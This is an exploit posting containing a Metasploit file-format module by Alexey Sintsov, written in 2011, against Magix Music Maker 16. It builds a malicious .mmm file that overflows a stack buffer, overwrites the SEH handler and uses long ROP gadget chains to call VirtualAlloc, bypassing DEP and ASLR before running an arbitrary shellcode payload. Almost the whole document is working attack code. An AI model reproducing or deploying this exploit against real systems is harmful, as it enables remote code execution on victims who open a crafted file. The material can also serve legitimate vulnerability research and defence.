Magix Musik Maker 16 – ‘.mmm’ Local Stack Buffer Overflow (Without EggHunter) (Metasploit)
--- My version of exploit... Looks like bug the same as in: http://www.exploit-db.com/exploits/17313/ My exploit does not use egg-hunter, so it must be faster, but i have limited size for payload - 750 bytes 8) Speed Vs Size... --- # Title: Magix Musik Maker 16 # EDB-ID: () # CVE-ID: () # OSVDB-ID: 72455 # Author: Alexey Sintsov # Published: 2011-05-22 # Verified: # Download N/A ## # $Id: musick_maker16.rb 12364 2011-05-03 07:53:58Z aaa $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Musick Maker 16, Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Musick Maker 16 When opening a malicious .MMM file in Music Maker, a stack buffer occurs, resulting in arbitrary code execution via SEH. This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexey Sintsov', ], 'Version' => '$Revision: 12364 $', 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)', { 'Ret' => 0x20012026, # ADD ESP,4F8 # RETN 4 'Size' => 750 } ], ], 'Privileged' => false, 'DisclosureDate' => 'May 02 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']), ], self.class) end def exploit badchars = target['BadChars'] print_status("Creating '#{datastore['FILENAME']}' file ...") print_status("Preparing payload") aaa_header="\x52\x49\x46\x46\xE6\x9D\x06\x00\x53\x45\x4B\x44\x53\x56\x49\x50"+ "\x10\x07\x00\x00\x9B\x5B\x6E\x00\x00\x00\x00\x00\x11\x00\x00\x00"+ "\x08\x00\x00\x00\x44\xAC\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x39\x40\x00\x00\xF0\x42\x00\x00\x00\x00\xBD\x04\xEF\xFE"+ "\x00\x00\x01\x00\x00\x00\x10\x00\x06\x00\x00\x00\x00\x00\x10\x00"+ "\x06\x00\x00\x00\x3F\x00\x00\x00\x28\x00\x00\x00\x04\x00\x04\x00"+ "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\xF3\x8E\x32\x01\xD0\x02\x00\x00\x40\x02\x00\x00\x55\x55\x55\x55"+ "\x55\x55\xF5\x3F\x10\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"+ "\xFF\xFF\xFF\xFF" aaa_list="\x4C\x49\x53\x54\x04\x25\x02\x00\x70\x68\x79\x73\x66\x69\x6C\x65\xF8\x08" rop_pivot = [ 0x20012026, # ADD ESP,4F8 # RETN 4 ].pack("V*") rop_nop = [ 0x1FF727C6, # RETN ].pack("V*") rop_jmp = [ 0x2001DD16, # ADD ESP, 40 # RETN ].pack("V*") rop_gadgets2 = [ 0x1FFFB8D9, # XCHG EAX,EBP # RETN 0x1FF727C5, # POP ECX # RETN // ECX = FFFFFFFF 0xffffffff, 0x20048546, # ADC ECX,EBP # RETN // ECX - saved stack 0x1FFA82EF, # POP EAX # RETN 0x1FFAF154, # ----+ // [EAX+C] will point on VA 0x1FFFB8D9, # XCHG EAX,EBP # RETN // now [EBP+C] will point on VA 0x1FFA817E, # MOV EAX,DWORD PTR SS:[EBP+C] # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA, 0x1FFFB8D9, # XCHG EAX,EBP # RETN 0xBBBBBBBB, 0xBBBBBBBB, 0xBBBBBBBB, 0x1FF72620, # MOV EAX,ECX # POP EBX # RETN 0xAAAAAAAA, 0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP - saved stack pointer 0x2004A8C1, # CALL EAX # RETN // call VirtAlloc 0x31313131, # // param 1 0x32323232, # // param 2 0x33333333, # // param 3 0x34343434, # // param 4 0x2001215B, # PUSH ESP # RETN 4 ].pack("V*") rop_gadgets = [ 0x1FFFB8D9, # XCHG EAX,EBP # RETN // Pointer in EAX 0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // Pointer in ESI an EAX 0x1FFA82EF, # POP EAX # RETN 0x11111111, # ^ 0x22222222, # | 0xFFFFFc74, # ---+ 0x200263f5, # NEG EAX # RETN // EAX = OFFSET 0x1FF74212, # ADD EAX,ESI # POP ESI # RETN // pointer in stack on our HEAP 0x33333333, 0x1FF939F2, # MOV EAX,DWORD PTR DS:[EAX+90] # RETN 4// EAX -> POINTER+OFFSET --- here are our params in HEAP 0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // EAX and ESI = POINTER+OFFSET --- here are our params in HEAP 0x44444444, 0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = Pointer as param 1 0x44444444, 0x55555555, 0x1FF727C5, # POP ECX # RETN // ECX = ffffff10 0xffffff10, 0x20048546, # ADC ECX,EBP # RETN // ECX = Pointer on stack - as param 1 0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER 0x66666666, 0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI 0x1FF891C4, # MOV DWORD PTR DS:[EAX+4],ECX # RETN // WRITE PARAM 1 - pointer on stack 0x77777777, 0x88888888, 0x1FFA883A, # XOR EAX,EAX # RETN 0x1FF7519F, # ADD AL,40 # RETN // EAX=40 0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 40 0x1FF727C5, # POP ECX # RETN // ECX = ffffffd0 0xffffffd0, 0x20048546, # ADC ECX,EBP # RETN // ECX = 10 0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER 0x99999999, 0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI 0x1FF9EAF7, # MOV DWORD PTR DS:[EAX+8],ECX # RETN // WRITE PARAM 2 - size(10) 0xaaaaaaaa, 0xbbbbbbbb, 0x1FFA82EF, # POP EAX # RETN // EAX = FFFFEFFF 0xffffefff, 0x200263f5, # NEG EAX # RETN // EAX=1001 (cos 1000 with null bytes) 0x1FFA0231, # DEC EAX # RETN // EAX=1000 0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 1000 0x1FF727C5, # POP ECX # RETN // ECX = FFFFFFFF 0xffffffff, 0x20048546, # ADC ECX,EBP # RETN // ECX = 1000 - MEM_COMMIT 0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER 0xcccccccc, 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF751A0, # INC EAX # RETN 0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI 0x1FF891C4, # MOV DWORD PTR DS:[EAX+4],ECX # RETN // WRITE PARAM 3 - MEM_COMMIT 0xdddddddd, 0xdddddddd, 0x1FF727C5, # POP ECX # RETN // ECX = ffffffFF 0xffffffff, 0x20033FB9, # INC ECX # ADD AL,3 # RETN // ECX=0 0x1FFA883A, # XOR EAX,EAX # RETN 0x1FF7519F, # ADD AL,40 # RETN // EAX=40 0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 40 0x20048546, # ADC ECX,EBP # RETN // ECX = 40 0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER 0xeeeeeeee, 0x1FF9EAF7, # MOV DWORD PTR DS:[EAX+8],ECX # RETN // WRITE PARAM 4 - WRITE_EXECUTE 0x1FF727C5, # POP ECX # RETN 0xFFFFFFAC, # -84 -^ 0x1FF75190, # ADD EAX,ECX # RETN EAX=EAX-84 0x2004387F, # XCHG EAX,ESP # RETN // New stack pointer in HEAP-------->rop_gadgets2 ].pack("V*") #Jump to shellcode shell_jmp="\x87\xe5"+ # XCHG ESP, EBP <---- take back stack pointer "\x33\xc0"+ # XOR EAX, EAX "\x04\x40"+ # ADD AL, 40 "\x50"+ # PUSH EAX "\x33\xc0"+ # XOR EAX, EAX "\xb4\x10"+ # MOV AH, 10 "\x50"+ # PUSH EAX "\x8b\xc5"+ # MOV EAX, EBP "\x33\xc9"+ # XOR ECX,ECX "\xb5\x05"+ # MOV CH, 5 "\xb1\xee"+ # MOV CL, EE "\x2b\xc1"+ # SUB EAX, ECX <--- block with shellcode "\x51"+ # PUSH ECX "\x50"+ # PUSH EAX "\x8b\xf8"+ # MOV EDI, EAX "\xb9\x60\xf1\xfa\x1f"+ # MOV ECX, 1FFAF160 "\xff\x11"+ # CALL [ECX] -> call kenrnel32.VirtualAlloc(shellcode,0x826,MEM_COMMIT,READWRITE_EXECUTE) "\xff\xe7" # JMP EDI -> JMP shellcode pivot = [target.ret].pack('V') shellcode=payload.encoded nops = make_nops(8) aaa_data = aaa_header aaa_data << "\x00"*1680 aaa_data << aaa_list aaa_data << "\x00"*25 #### This will be in heap, not in the stack aaa_data << "C:\\aaa\\" aaa_data << shellcode # 7. Shellcode run aaa_data << "a"*(target['Size']-shellcode.length) aaa_data << "a"*328 aaa_data << "\x00"*16 aaa_data << "x"*320 aaa_data << rop_gadgets2 # 4. call VirtualAlloc, jmp to ESP (5.) aaa_data << shell_jmp # 5. call VA again and JMP to shellcode (6.) aaa_data << "a"*61 #### And this will be in stack! aaa_data << rop_jmp*32 # 2. After satck pivot, jump to (3.) aaa_data << "a"*16 aaa_data << [target.ret].pack('V') # 1. SEH rewrite -> ADD ESP, xxx and we are in (2.) aaa_data << rop_nop*10 # 3. ROP-NOP aaa_data << rop_gadgets # 4. ROP programm, calc in HEAP and make new stack (4.) aaa_data << "a"*31337 # truncated print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes") if shellcode.length>target['Size'] print_status("ERROR, too big payload!") else file_create(aaa_data) end end end |